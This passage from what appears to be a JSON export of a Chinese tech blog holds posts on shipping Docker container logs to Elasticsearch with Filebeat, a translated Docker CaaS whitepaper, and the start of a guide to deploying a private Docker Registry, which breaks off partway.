Labs的官方about中我们可以看到：Rancher Labs致力于为\u003ca href=\"https://en.wikipedia.org/wiki/DevOps\"\u003eDevOps\u003c/a\u003e team打造一个最好的容器管理平台，让容器的部署和管理变得更加Easy。\u003c/p\u003e","title":"Rancher使用入门"},{"content":"今天我们来说说Docker容器日志。\n一、容器日志输出的旧疾及能力演进 Docker容器在默认情况下会将打印到stdout、stderr的 日志数据存储在本地磁盘上，默认位置为/var/lib/docker/containers/{ContainerId} /{ContainerId}-json.log。在老版本Docker中，这种日志记录方式经常被诟病，诸如：日志大小无限制、无法 Rotate（轮转）、无日志基本管理能力以及性能糟糕等。针对这些旧疾，Docker一直试图在演进中完善和解决。\n记忆中好像是在Docker 1.8版本中，Docker增加了对json-file型（默认）log driver的rotate功能，我们可通过max-size和max-file两个–log-opt来配置。比如：我们启动一个nginx容器，采用 json-file日志引擎，每个log文件限制最大为1k，轮转的日志个数为5个：\n$docker run -d --log-driver=json-file --log-opt max-size=1k --log-opt max-file=5 --name webserver -p 9988:80 nginx 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72 $ sudo ls -l /var/lib/docker/containers/50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72 总用量 44 -rw-r--r-- 1 root root 226 3月 24 14:39 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72-json.log -rw-r--r-- 1 root root 1129 3月 24 14:39 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72-json.log.1 -rw-r--r-- 1 root root 1130 3月 24 14:39 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72-json.log.2 -rw-r--r-- 1 root root 1129 3月 24 14:39 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72-json.log.3 -rw-r--r-- 1 root root 1129 3月 24 14:39 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72-json.log.4 ... ... 有了rotate，我们就不必担心某个container的日志暴涨而将同host的其他container拖死了。不过对于日志的管理目前也仅仅演进到如此，很多需求还得依靠第三方工具和方案来解决。\n另外当前Docker容器日志的写入性能依旧糟糕，如果对此敏感，可以用volume机制来解决，即 关闭容器内应用的标准输出、错误（–log-driver=none），直接将日志写到某mounted volume中的某个文件中。下面是bare metal裸机原生写日志文件、volume方式写日志文件以及docker默认写json文件的性能简单对比：\n我们用dd这个小工具，以go1.6.linux-amd64.tar.gz这个 85MB的文件作为输入，结果如下：（环境ubuntu 12.04 docker 1.9.1）\n1、bare metal dd if=~/.bin/go1.6.linux-amd64.tar.gz of=./go.bin 记录了165623+1 的读入 记录了165623+1 的写出 84799480字节(85 MB)已复制，0.426716 秒，199 MB/秒 2、通过挂在本地volume $ docker run --rm -it -v /home1/tonybai/testdd/volume:/testdd ubuntu:14.04 dd if=/testdd/go1.6.linux-amd64.tar.gz of=/testdd/go.bin 165623+1 records in 165623+1 records out 84799480 bytes (85 MB) copied, 0.3753 s, 226 MB/s 3、docker default $docker run -v /home1/tonybai/testdd/volume:/testdd ubuntu:14.04 dd if=/testdd/go1.6.linux-amd64.tar.gz 2\u0026gt;\u0026amp;1 1\u0026gt;/dev/null 165623+1 records in 165623+1 records out 84799480 bytes (85 MB) copied, 5.97732 s, 14.2 MB/s $ sudo ls -lh /var/lib/docker/containers/d4b5e6aae3968f68e5081414ad95c6308fa91808b44b415a03040403af5a4713/ d4b5e6aae3968f68e5081414ad95c6308fa91808b44b415a03040403af5a4713-json.log -rw------- 1 root root 331M 3月 24 18:05 /var/lib/docker/containers/d4b5e6aae3968f68e5081414ad95c6308fa91808b44b415a03040403af5a4713/ d4b5e6aae3968f68e5081414ad95c6308fa91808b44b415a03040403af5a4713-json.log 可以看出，默认情况下，Docker写入json的速度是挂载volume方式的十分之一还低。主要原因是Docker容器的标准输出、 标准错误都会被Docker Daemon接管，并由Daemon写入json log文件，因此Daemon就成为了日志写入的瓶颈。\n二、容器日志的集中管理 日志的管理需求由来已久，无论是传统遗留系统，还是互联网应用或服务，日志在运维和运营中的作用不可小觑。尤其是现在被普遍采用的集中日志管理实践，对Docker的日志管理提出了新的要求。上面提到随着Docker的演进，Docker的logging已有所改善，增加了多种log driver的支持（比如syslog、fluentd等），为容器日志的集中管理方案提供了多样性。\n目前国内很多企业采用ELK方案（当然ELK方案不仅仅局限于Docker了），即ElasticSearch + Logstash + Kibana，Logstash负责从各个节点收集、过滤、分析和处理日志，ElasticSearch负责存储、索引和查找日志；Kibana负责以图形化界面展示日志处理结果。但Docker Container如何做本地日志管理、如何将本地最新的日志输送给Logstash没有标准方案，你可以用fluentd agent也可以使用logspout。ELK方案中也有自己的用于客户端节点日志输送的工具，以前称为logstash-forwarder：\nnode1 (logstash-forwarder) ------\u0026gt; node2 (logstash-forwarder) ------\u0026gt; logstash server --\u0026gt; ElasticSearch node3 (logstash-forwarder) ------\u0026gt; 现在Elastic.co使用beats系列产品替代logstash-forwarder，针对日志输送这块，对应的beats产品是filebeat，使用filebeat后，前面的集中日志方案结构就变成了：\nnode1 (filebeat) ------\u0026gt; node2 (filebeat) ------\u0026gt; [logstash server] --\u0026gt; ElasticSearch node3 (filebeat) ------\u0026gt; 我们看到logstash server是一个可选的中间环节，使用filebeat后，你可以将client node上的最新日志直接发送给ElasticSearch，而无需经过logstash这一环节。当然如果你对源日志有过滤、清洗、分析等需求时，logstash依旧是你的得力助手。这里我们暂不用logstash，而是直接将日志发给ElasticSearch做存储和索引。\n三、使用Filebeat输出容器日志的步骤 测试环境示意图如下：（ubuntu 14.04 + docker 1.9.1)\nnode1 (10.10.126.101 nginx container + filebeat) ------\u0026gt; server 10.10.105.71 (ElasticSearch + kibana) 这里的所有程序均以容器形式安装和运行。\n1、安装elasticsearch和kibana elasticsearch和kibana都有官方Docker image。\n安装elasticsearch：\n$ docker pull elasticsearch Using default tag: latest latest: Pulling from library/elasticsearch ... 执行env，查看版本：\n$ docker exec elasticsearch env ... ... ELASTICSEARCH_MAJOR=2.2 ELASTICSEARCH_VERSION=2.2.1 ELASTICSEARCH_REPO_BASE=http://packages.elasticsearch.org/elasticsearch/2.x/debian ... ... 安装kibana：\n$ docker pull kibana Using default tag: latest latest: Pulling from library/kibana ... ... 我们查看一下当前images列表：\nREPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE elasticsearch latest c6b6bed19c45 8 days ago 347.1 MB kibana latest d2c9c3cfc682 12 days ago 295.4 MB ... ... 2、启动es和kibana，验证服务启动ok 启动ES:\n$ sudo mkdir -p /data/elasticsearch $ docker run -d --name elasticsearch -p 9200:9200 -v /data/elasticsearch:/usr/share/elasticsearch/data elasticsearch 4288b4db18af8575961faf940a1dc634fe30857bb184fb45611136b7bd3ffb7d 查看服务启动情况：\n$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4288b4db18af elasticsearch \u0026quot;/docker-entrypoint.s\u0026quot; 21 seconds ago Up 10 seconds 0.0.0.0:9200-\u0026gt;9200/tcp, 9300/tcp elasticsearch 启动日志如下：\n$ docker logs elasticsearch [2016-03-24 11:00:29,289][INFO ][node ] [Katherine Reynolds] version[2.2.1], pid[1], build[d045fc2/2016-03-09T09:38:54Z] [2016-03-24 11:00:29,291][INFO ][node ] [Katherine Reynolds] initializing ... [2016-03-24 11:00:29,863][INFO ][plugins ] [Katherine Reynolds] modules [lang-expression, lang-groovy], plugins [], sites [] [2016-03-24 11:00:29,894][INFO ][env ] [Katherine Reynolds] using [1] data paths, mounts [[/usr/share/elasticsearch/data (/dev/disk/by-uuid/f577c0bc-665b-431b-96e0-e3536dc11469)]], net usable_space [114.5gb], net total_space [130.4gb], spins? [possibly], types [ext4] [2016-03-24 11:00:29,894][INFO ][env ] [Katherine Reynolds] heap size [990.7mb], compressed ordinary object pointers [true] [2016-03-24 11:00:31,881][INFO ][node ] [Katherine Reynolds] initialized [2016-03-24 11:00:31,881][INFO ][node ] [Katherine Reynolds] starting ... [2016-03-24 11:00:31,993][INFO ][transport ] [Katherine Reynolds] publish_address {172.17.0.1:9300}, bound_addresses {[::]:9300} [2016-03-24 11:00:32,004][INFO ][discovery ] [Katherine Reynolds] elasticsearch/D7hV_RcHQa275Xc7if1Kkg [2016-03-24 11:00:35,058][INFO ][cluster.service ] [Katherine Reynolds] new_master {Katherine Reynolds}{D7hV_RcHQa275Xc7if1Kkg}{172.17.0.1}{172.17.0.1:9300}, reason: zen-disco-join(elected_as_master, [0] joins received) [2016-03-24 11:00:35,075][INFO ][http ] [Katherine Reynolds] publish_address {172.17.0.1:9200}, bound_addresses {[::]:9200} [2016-03-24 11:00:35,076][INFO ][node ] [Katherine Reynolds] started [2016-03-24 11:00:35,144][INFO ][gateway ] [Katherine Reynolds] recovered [0] indices into cluster_state 启动kibana：\n启动kibana容器需要提供一个环境变量参数，即ES的服务地址和端口：\n$docker run -d --name kibana -e ELASTICSEARCH_URL=\u0026quot;http://10.10.105.72:9200\u0026quot; -p 5601:5601 kibana 要验证kibana是否启动ok，可以通过浏览器打开：http://10.10.105.72:5601，如果web页面正常显示，并且http://10.10.105.72:5601/status页面中有”Status: Green”字样，说明Kibana启动ok了。\n3、安装和配置filebeat 在安装filebeat前，我们先启动一个测试用webserver，部署在10.10.126.101上，用于产生日志数据：\n$ docker run -d --log-driver=json-file --log-opt max-size=1k --log-opt max-file=5 --name webserver -p 9988:80 nginx 50f100e7ea4d5b4931f144f9eac12b6a05e56579583d7a0322b250004b68ae72 Filebeat没有官方image版本，docker hub上star数量最多的是prima/filebeat这个库中的image，我们就打算使用这个了，pull过程这里就不赘述了：\n$docker run --rm prima/filebeat env ... ... FILEBEAT_VERSION=1.1.2 ... ... 可以看到这个库中的filebeat image使用的filebeat版本是最新的。\n我们接下来来看run：\n$ docker run --rm prima/filebeat Loading config file error: Failed to read /filebeat.yml: open /filebeat.yml: no such file or directory. Exiting. 看来Filebeat需要做一些配置，我们得来查看一下Filebeat的官方manual。\nFilebeat需要一个filebeat.yml配置文件，用于配置log来源以及log输送的目的地，我们参考manual给出一个适合我们的配置：\nfilebeat: # List of prospectors to fetch data. prospectors: # Each - is a prospector. Below are the prospector specific configurations - # Paths that should be crawled and fetched. Glob based paths. # For each file found under this path, a harvester is started. paths: - \u0026quot;/var/lib/docker/containers/*/*.log\u0026quot; #- c:\\programdata\\elasticsearch\\logs\\* # Type of the files. Based on this the way the file is read is decided. # The different types cannot be mixed in one prospector # # Possible options are: # * log: Reads every line of the log file (default) # * stdin: Reads the standard in input_type: log # Configure what outputs to use when sending the data collected by the beat. # Multiple outputs may be used. output: ### Elasticsearch as output elasticsearch: # Array of hosts to connect to. hosts: [\u0026quot;10.10.105.72:9200\u0026quot;] 我们采集/var/lib/docker/containers/*/*.log，即filebeat所在节点的所有容器的日志。输出的位置是我们ElasticSearch的服务地址，这里我们直接将log输送给ES，而不通过Logstash中转。\n再启动之前，我们还需要向ES提交一个filebeat index template，以便让Es知道filebeat输出的日志数据都包含哪些属性和字段。filebeat.template.json这个模板文件不用我们编写，filebeat官方提供，我们可以在github.com上找到它。\n加载这个模板到ES:\n$ curl -XPUT 'http://10.10.105.72:9200/_template/filebeat?pretty' -d@/home1/tonybai/filebeat.template.json { \u0026quot;acknowledged\u0026quot; : true } 如果看到curl的返回结果是true，那么说明加载ok了。\n接下来，我们启动filebeat容器：\n$ docker run -d --name filebeat -v /home1/tonybai/filebeat.yml:/filebeat.yml prima/filebeat f93497ea816e5c4015e69376f98e791ca02b91a20145ee1366e4c15f6a706c10 我们到Kibana中看看是否能收到容器的日志。使用Kibana时，需要添加一个新的index pattern。按照manual中的要求，对于filebeat输送的日志，我们的index name or pattern应该填写为：”filebeat-“，不过我在kibana中添加default index ：filebeat- 一直失败，下面那个按钮一直是灰色的，并提示：“Unable to fetch mapping. Do you have indices matching the pattern”。\n在filebeat的forum中找寻问题答案，有人提示：看看ElasticSearch中是否有filebeat传输来的日志。于是查看ElasticSearch日志以及通过ElasticSearch提供的API做了一番查询，发现filebeat根本没有日志传输过来。\n回过头仔细想来，wow，居然没给filebeat容器挂在/var/lib/docker/containers目录，那么filebeat就没有权限访问容器日志，自然不会有日志传输到ES了，下面的输出也证实了这一点：\n$ docker exec filebeat ls /var/lib/docker/containers ls: cannot access /var/lib/docker/containers: No such file or directory 于是修改filebeat启动参数：\n$docker run -d --name filebeat -v /home1/tonybai/filebeat.yml:/filebeat.yml -v /var/lib/docker/containers:/var/lib/docker/containers prima/filebeat 一段时间后，我们就可以在Kibana上成功创建filebeat-* index pattern并看到filebeat输送过来的日志了。\n","permalink":"https://tonybai.com/2016/03/25/ship-docker-container-log-with-filebeat/","summary":"\u003cp\u003e今天我们来说说\u003ca href=\"https://www.docker.com/\"\u003eDocker\u003c/a\u003e容器日志。\u003c/p\u003e\n\u003ch3 id=\"一容器日志输出的旧疾及能力演进\"\u003e一、容器日志输出的旧疾及能力演进\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"http://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e容器在默认情况下会将打印到stdout、stderr的 日志数据存储在本地磁盘上，默认位置为/var/lib/docker/containers/{ContainerId} /{ContainerId}-json.log。在老版本Docker中，这种日志记录方式经常被诟病，诸如：日志大小无限制、无法 Rotate（轮转）、无日志基本管理能力以及性能糟糕等。针对这些旧疾，Docker一直试图在演进中完善和解决。\u003c/p\u003e","title":"使用Filebeat输送Docker容器的日志"},{"content":"年初，火得发烫的独角兽IT公司Docker发布了一款新的企业级产品 Docker Datacenter （简称：DDC）。作 为拥有原生Docker容器技术的公司，其每个市场动作都会让轻量级容器生态圈内的公司不敢小觑。而要揣度Docker对商业改变的理解、对容器 技术栈应用的理解以及对新产品和服务在生态圈中的定位，就有必要对Docker的这款产品做一些比较深刻的了解。而其技术白皮书 恰是我们了解 Docker该产品的入口。这里我就基于自己对容器相关技术栈的粗浅理解，翻译一下这篇篇幅不长的技术白皮书，希望能给大家带来些许帮助。\n标题：现代企业应用架构-使用Docker CaaS交付敏捷的、可移植的、受控的应用\n译文全文如下:\n摘要 开发人员不接受被锁住的平台。就像《金发小女孩和三只熊》 故事那样，开发人员们一直在为其开发环境寻找一种可以在自由和约束之间拥 有最佳平衡的权力。在这个过程中，他们发现“平台即服务”(PaaS)模型层次太高、过于抽象以及约束过多，并且为了实现一个完全锁定的、黑盒的 环境而牺牲了灵活性；同时，他们也发现“基础设施即服务”(IaaS)模型提供的各自的容器服务也是不够的，因为那种服务仅驻留在各自的基础设施 中，缺乏远见。在寻求适当方案的过程中，一些组织开始提供基于Docker的“容器即服务”(CaaS)的环境，这种模型为开发团队提供了敏捷 性；为运维团队提供了控制力；为应用程序提供了跨基础设施的可移植性 — 从本地数据中心到公有云，横跨诸多网络和存储设备供应商。\nDocker平台为基础设施无关的CaaS模型提供了一套集成套件。使用这个方案，IT运维团队既可以对基础设施，也可以对基础应用内容进行安全 保护、配置和管理；同时开发人员也能够以自助的方式来构建和部署他们的应用。\n在本白皮书中，我们将讨论新软件模型的驱动力，Docker平台的能力，细化CaaS的需求，以及详细说明在构建、交付（运输）和运行应用程序过 程中解决核心问题的重要性。\n重要结论包括：\n• 云、数据和微服务是如何改变商业的\n• 理解Docker的发展历程\n• Docker CaaS模型的能力与优势\n一、通过软件改变商业 运行成品软件的私有数据中心以及一年更新一次的巨大单一代码库的时代已经离我们远去了。一切都在变化。不管是迁移到云上，在云间移植，用现代化的 方法改造遗留程序，还是构建新的应用和数据结构，我们想要的结果都是相同的 – 速度。你动作的越快，你的公司将会越成功。\n软件是定义你的公司的关键IP（知识产权），即便你的公司实际出售的商品可能只是一件T恤、一辆车或复利（compounding interest）。软件就是你如何接洽客户，如何吸引新用户，如何理解他们的数据，如何推广你的产品或服务以及如何处理他们的订单。\n要做好这些，当今的软件正趋向定制化。为一个非常具体的工作而设计的软件片段被称为微服务（microservice）。微服务的设计目标是让 每一个由必要组件构建出来的服务在适当类型的底层基础设施资源上运行一个特定的工作(job)。接下来，这些服务松耦合在一起，可以随时被修改， 无需担心服 务运行的先后次序。\n这种方法，虽然对持续改进十分有利，但在达成最终结果的过程中也提出了许多挑战。首先，它创建了一个新的、不断膨胀的服务、依赖和基础设施矩阵， 让它自身很难于管理。此外，它没有考虑到眼前大量已经存在的遗留程序，完全异构的应用程序栈以及实际中必须保证运行起来的进程。\n二、Docker的发展历程以及AND的力量 2013年，Docker以具备构建、交付、到处运行的应用容器而出现在大众视野当中。与今天集装箱的运输类似，软件容器就是一个软件的标准单 元，不管容器内存放的代码和依赖是什么，容器外部看起来都相同。这使得开发人员和系统管理员可以跨基础设施和各种各样环境传输容器，而无需做任何 修改和考虑不同环境下的不同配置。Docker的历程就从此时开始了。\n敏捷性： Docker的速度和简洁让Docker一经推出便大受开发者欢迎，同时也使得其开源项目的热度以流星般速度蹿升。现在开发者能很容易地将软件以及其依赖 打包到一个容器中。开发者可以使用任何语言、版本和工具，因为这些都被打包到一个容器中，容器将所有异质性标准化了，并且无需付出任何代价。\n可移植性： Docker技术的本质让那批开发者意识到他们的应用容器现在可移植了，而且是以在以前不可能的方式。他们可以将应用从开发环境直接交付到测试和产品环境 且代码总是按设计那样正常工作。环境中的任何差异都不会影响到容器里面的应用。应用也无需修改就可以正常工作在生产环境中。这同样也是IT运维团 队的一个福音，因为现在他们可以跨数据中心迁移应用来避免厂商的平台锁定了。\n控制： 当应用程序沿着通往生产环境的生命周期前进时，关于安全性、可管理性以及伸缩性等新问题需要进一步得到解答。Docker标准化了你的环境，同时维护着你 的业务所需的异质性。Docker提供了设置适当控制级别的能力以及维护服务级别、性能以及监管的灵活性。IT运维组能够通过供应、安全加固、监 控和伸缩基础设施和应用来保持峰值服务水平。没有两个程序或业务是一样的，Docker允许你决定如何去控制你的应用环境。\nDocker成长历程的核心是AND的力量。Docker是唯一一个可以跨应用生命周期所有阶段，为开发者和IT运维团队在提供敏捷性、可移植性 和控制的方案。从这些核心原则来看，CaaS的脱颖而出正是由于由其构建的新应用又好又快。\n三、Docker Containers as a Service(CaaS) 容器即服务(CaaS)是什么？它是基于基础设施和内容的一个IT受控的、安全的应用环境，利用它开发人员可以以自助的方式构建和部署应用。\n在上面的CaaS图示中，开发和IT运维团队通过registry相互协作。registry服务用于维护一个安全的、经过签名的映像仓库。左边 的开发者通过registry服务可以将软件拉(pull)到本地，按自己的步伐构建软件。当软件通过集成测试，开发者将其内容推回(push back)registry以保存最新版本。部署步骤因内部过程的不同而异，既可以通过工具自动进行，也可以是人工部署。\n上图中右侧的IT运维组为生产环境基础设施管理着不同供应商的合同，诸如：计算、网络和存储。这些团队负责提供应用所需的计算资源，使用 Docker Universal Control Plane随时随地监控集群和应用。他们能在云间迁移应用，或伸缩服务来维持峰值服务水平。\n四、关键特性和考量 Docker CaaS为组织提供了一套框架用于统一他们环境中的各种系统、语言和工具，并为业务提供所需的控制、安全或特权级别。由于是一种支持全部Docker API的Docker原生方案，Docker CaaS能够无缝地将应用从本地开发环境部署到生产环境，而无需改变代码或简化部署周期。\n以下特性组成了组织应用环境的最低需求。在这个范式中，开发和运维团队被授权使用各自最佳的工具，而无需担心对系统、其他人的工作流或锁定状态造 成破坏。\n1、开发者和运维的需求。 许多工具仅能解决针对一个团队的功能需求，但CaaS打破了持续改进的周期。为了获得从开发到生产环境运行的真正加速，你需要在一个连续周期内同时满足两类用户的需求。Docker为每个团队都提供了独特的能力，同时还提供了横跨整个平台的一致的API，保证了从一个团队到另外一个团队的无缝过渡。\n2、应用程序生命周期的所有阶段。 从持续集成到持续交付以及开发运维(devops)，这些实践都是为了消除瀑布开发方法以及其带来的滞后的周期。通过给开发和运维团队提供工具，Docker可以无缝的支持应用从构建、测试到部署到生产环境运行的所有阶段。\n**3、任何语言。**开发者敏捷性意味着开发者在构建他们的应用的时候可以自由选择使用任何应用特性需要的编程语言、版本和工具。同时，在同一时间运行一个语言的多个版本的能力也为开发者提供了极大的灵活性。Docker让你的团队更加关注于构建应用程序本身，而不是思考如何构建一个可以在Docker中运行的应用。\n4、任何操作系统。 绝大多数的组织拥有不止一款操作系统。一些工具在Linux上工作的更好，而另外一些可能在Windows上运行的更优异。应用平台需要考虑和支持这种多样性。否则，只能算是解决了部分问题而已。Docker起初是为Linux社区量身打造的，但Docker和微软公司正着手在Windows Server上实现Docker，以支持数百万现存企业应用以及未来企业应用。\n5、任何基础设施。 谈到基础设施，组织想要的是选择、备份和杠杆作用。这是否意味着你需要拥有多个私有数据中心，一个混合云或者多个云提供商呢，其实关键点在于具备将应用负荷在不同环境间迁移而又不出问题的能力。Docker技术架构将基础设施与应用分离，使得应用容器可以在横跨基础设施在任意基础设施上运行。\n6、Open API，插件式架构和生态系统。 一个平台不能算作是一个真正的平台，如果它只是一个封闭的孤岛。如果你想首先改良更新你现有的环境，通过实现新技术一般是不可行的。Docker的一个基本指导原则就是一个开放的平台。开放意味着API和插件可以让你利用上你已有的投资并让Docker适应你的环境和过程。开放性可以让生态系统更加活跃，且当你的CaaS增加特定功能时，它可以给你提供更多的灵活性和更多的选择。\n虽然CaaS具有许多特性，但上述这些特性却是关键的，因为这种新的定制化应用范式只是为你的技术架构引入了更多异质性。Docker CaaS平台根本上就是为了支持这种多样性而设计的，并且针对任意规模提供相应的控制能力。\n五、Docker CaaS 平台组件： Docker CaaS平台由一系列集成软件方案以及一个灵活的部署模型组成，以满足你的业务需求。\n本地数据中心/虚拟私有云(VPC)： 对于那些要使用自己网络的组织，Docker Trusted Registry和Docker Universal Control Plan可以被部署在本地数据中心或虚拟私有云中，并且可以连接你已有的基础设施以及系统，比如存储、Active Directory/LDAP以及监控与日志解决方案。映像文件存储在你自己的存储架构中，Trusted Registry提供存储和管理服务能力，并且同时提供基于角色的对映像的基本访问控制。Universal Control Plane提供对Docker环境的可视化管理，包括Swarm集群、Trusted Registry仓库，容器以及多容器应用。\n在云中： 对于那些接受使用SaaS方案的组织来说，Docker Hub和Docker Cloud提供了基于Docker上运行和管理的registry和control plane服务。Hub是一个云Registry服务，用于存储和管理映像文件以及用户权限。Docker Cloud供应和管理部署集群，同时也监控和管理已部署应用。使用Docker Cloud连接到你选择的云基础设施或使用你自己的物理节点来部署你的应用吧。\n你的Docker CaaS可以设计成集中控制和管理，也可以设计成分布式管理以授权给各自应用团队。这种灵活性使得你可以建立一个最适合你的业务的模型，就像你选择基础设施和内容实现过程那样。CaaS是构建、交付和运行应用理念的一个延伸。\n事实上由于CaaS统一了跨环境的本质，加速了许多IT倡议被接纳的过程。每个组织都有其自己采纳的倡议：从容器化，包括对已有应用的改造和迁移，到微服务，再到持续集成、持续交付和devops以及对各类云的接纳、迁移、混合及支持多种云。在每个场景中，Docker CaaS都能带来敏捷性、可移植性和控制，使得组织能接受那些用例。\n六、AND的力量 总之，云、应用和数据的变化已经将技术和商业之间的对话，从“你如何帮我削减成本”换成了“你如何加速我的商业”。当你踏上你的旅途时，Docker提供了额外的灵活性帮你选择在哪里存储你的应用内容以及在哪里部署你的控制台。让你的CaaS适配你的业务需求，不管是部署在本地数据中心或虚拟私有云上，还是作为云服务被平滑地消费。无论你的业务是什么，Docker CaaS平台都会提供敏捷性、可移植性和控制力，尽可能又快又好的构建最好的应用，以最优的代价提供峰值性能的服务，并且不会被平台锁定。\n","permalink":"https://tonybai.com/2016/03/15/modern-application-architecture-for-the-enterprise-with-docker-caas/","summary":"\u003cp\u003e年初，火得发烫的独角兽IT公司\u003ca href=\"http://docker.com/\"\u003eDocker\u003c/a\u003e发布了一款新的企业级产品 \u003ca href=\"https://www.docker.com/products/docker-datacenter\"\u003eDocker Datacenter\u003c/a\u003e （简称：DDC）。作 为拥有原生Docker容器技术的公司，其每个市场动作都会让轻量级容器生态圈内的公司不敢小觑。而要揣度Docker对商业改变的理解、对容器 技术栈应用的理解以及对新产品和服务在生态圈中的定位，就有必要对Docker的这款产品做一些比较深刻的了解。而其\u003ca href=\"https://www.docker.com/products/docker-datacenter#/resources\"\u003e技术白皮书\u003c/a\u003e 恰是我们了解 Docker该产品的入口。这里我就基于自己对容器相关技术栈的粗浅理解，翻译一下这篇篇幅不长的技术白皮书，希望能给大家带来些许帮助。\u003c/p\u003e","title":"现代企业应用架构-使用Docker CaaS交付敏捷的、可移植的、受控的应用"},{"content":"安装部署一个私有的Docker Registry是引入、学习和使用Docker这门技术的必经之路之一。尤其是当Docker被所在组织接受，更多人、项目和产品开始接触和使用Docker时，存储和分发自制的Docker image便成了刚需。Docker Registry一如既往的继承了“Docker坑多”的特点，为此这里将自己搭建”各类”Registry过程中执行的步骤、遇到的问题记录下来，为己备忘，为他参考。\nDocker在2015年推出了distribution项目，即Docker Registry 2。相比于old registry，Registry 2使用Go实现，在安全性、性能方面均有大幅改进。Registry设计了全新的Rest API，并且在image存储格式等方面不再兼容于old Registry。去年8月份，docker官方hub使用Registriy 2.1替代了原先的old Registry。如果你要与Registry2交互，你的Docker版本至少要是Docker 1.6。\nDocker的开发者也一直在致力于改善Registry安装和使用的体验，通过提供官方Registry Image以及Docker Compose工具等来简化Registry的配置。不过在本文中，我们只是利用Docker以及Registry的官方Image来部署Registry，这样更便于全面了解Registry的部署配置细节。\nRegistry2在镜像存储方面不仅支持本地盘，还支持诸多主流第三方存储方案。通过分布式存储系统你还可以实现一个分布式Docker Registry服务。这里仅以本地盘以及single node registry2为例。\n一、环境 这里还是复用以往文章中的Docker环境：\nDocker Registry Server: 10.10.105.71 Ubuntu 14.04 3.16.0-57-generic；docker 1.9.1 其他两个工作Server： 10.10.105.72 Ubuntu 14.04 3.19.0-25-generic; docker 1.9.1 10.10.126.101 Ubuntu 12.04 3.16.7-013607-generic; docker 1.9.1 本次Registry使用当前最新stable版本:Registry 2.3.0。由于镜像采用本地磁盘存储，root分区较小，需要映射使用其他volume。\n二、初次搭建 本以为Docker Registry的搭建是何其简单的，甚至简单到通过一行命令就可以完成的。比如我们在Registry Server上执行：\n在~/dockerregistry下，执行： $sudo docker run -d -p 5000:5000 -v `pwd`/data:/var/lib/registry --restart=always --name registry registry:2 Unable to find image 'registry:2' locally 2: Pulling from library/registry f32095d4ba8a: Pull complete 9b607719a62a: Pull complete 973de4038269: Pull complete 2867140211c1: Pull complete 8da16446f5ca: Pull complete fd8c38b8b68d: Pull complete 136640b01f02: Pull complete e039ba1c0008: Pull complete c457c689c328: Pull complete Digest: sha256:339d702cf9a4b0aa665269cc36255ee7ce424412d56bee9ad8a247afe8c49ef1 Status: Downloaded newer image for registry:2 e9088ef901cb00546c59f89defa4625230f4b36b0a44b3713f38ab3d2a5a2b44 $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry 2 c457c689c328 9 days ago 165.7 MB $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e9088ef901cb registry:2 \u0026quot;/bin/registry /etc/d\u0026quot; About a minute ago Up About a minute 0.0.0.0:5000-\u0026gt;5000/tcp registry Registry container已经跑起来了，其启动日志可以通过：docker logs registry查看。\n我们在71本地给busybox:latest打一个tag，并尝试将新tag下的image push到Registry中去：\n$ docker tag busybox:latest 10.10.105.71:5000/tonybai/busybox:latest $ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE registry 2 c457c689c328 9 days ago 165.7 MB busybox latest 65e4158d9625 9 days ago 1.114 MB 10.10.105.71:5000/tonybai/busybox latest 65e4158d9625 9 days ago 1.114 MB ... ... push到Registry中：\n$ docker push 10.10.105.71:5000/tonybai/busybox The push refers to a repository [10.10.105.71:5000/tonybai/busybox] (len: 1) unable to ping registry endpoint https://10.10.105.71:5000/v0/ v2 ping attempt failed with error: Get https://10.10.105.71:5000/v2/: Tunnel or SSL Forbidden v1 ping attempt failed with error: Get https://10.10.105.71:5000/v1/_ping: Tunnel or SSL Forbidden 出错了！简单分析了一下，可能是71上docker daemon配置中加了http代理的缘故，导致无法ping通registry endpoint。于是在/etc/default/docker中注释掉export http_proxy=”xxx”的设置，并重启docker daemon。\n再次尝试push：\n$ docker push 10.10.105.71:5000/tonybai/busybox The push refers to a repository [10.10.105.71:5000/tonybai/busybox] (len: 1) unable to ping registry endpoint https://10.10.105.71:5000/v0/ v2 ping attempt failed with error: Get https://10.10.105.71:5000/v2/: tls: oversized record received with length 20527 v1 ping attempt failed with error: Get https://10.10.105.71:5000/v1/_ping: tls: oversized record received with length 20527 虽然还是失败，但错误信息已有所不同了。这次看来连接是可以建立的，但client端通过https访问server端，似乎想tls通信，但这一过程并未完成。\n在其他机器上尝试push image到registry也遇到了同样的错误输出，如下：\n10.10.105.72: $ docker push 10.10.105.71:5000/tonybai/ubuntu The push refers to a repository [10.10.105.71:5000/tonybai/ubuntu] (len: 1) unable to ping registry endpoint https://10.10.105.71:5000/v0/ v2 ping attempt failed with error: Get https://10.10.105.71:5000/v2/: tls: oversized record received with length 20527 v1 ping attempt failed with error: Get https://10.10.105.71:5000/v1/_ping: tls: oversized record received with length 20527 从错误信息来看，client与Registry交互，默认将采用https访问，但我们在install Registry时并未配置指定任何tls相关的key和crt文件，https访问定然失败。要想弄清这个问题，只能查看Registry Manual。\n三、Insecure Registry Registry的文档还是相对详尽的。在文档中，我们找到了Insecure Registry，即接收plain http访问的Registry的配置和使用方法，虽然这不是官方推荐的。\n实际上对于我们内部网络而言，Insecure Registry基本能满足需求，部署过程也避免了secure registry的那些繁琐步骤，比如制作和部署证书等。\n为了搭建一个Insecure Registry，我们需要先清理一下上面已经启动的Registry容器。\n$ docker stop registry registry $ docker rm registry registry 修改Registry server上的Docker daemon的配置，为DOCKER_OPTS增加–insecure-registry：\nDOCKER_OPTS=\u0026quot;--insecure-registry 10.10.105.71:5000 .... 重启Docker Daemon，启动Registry容器：\n$ sudo service docker restart docker 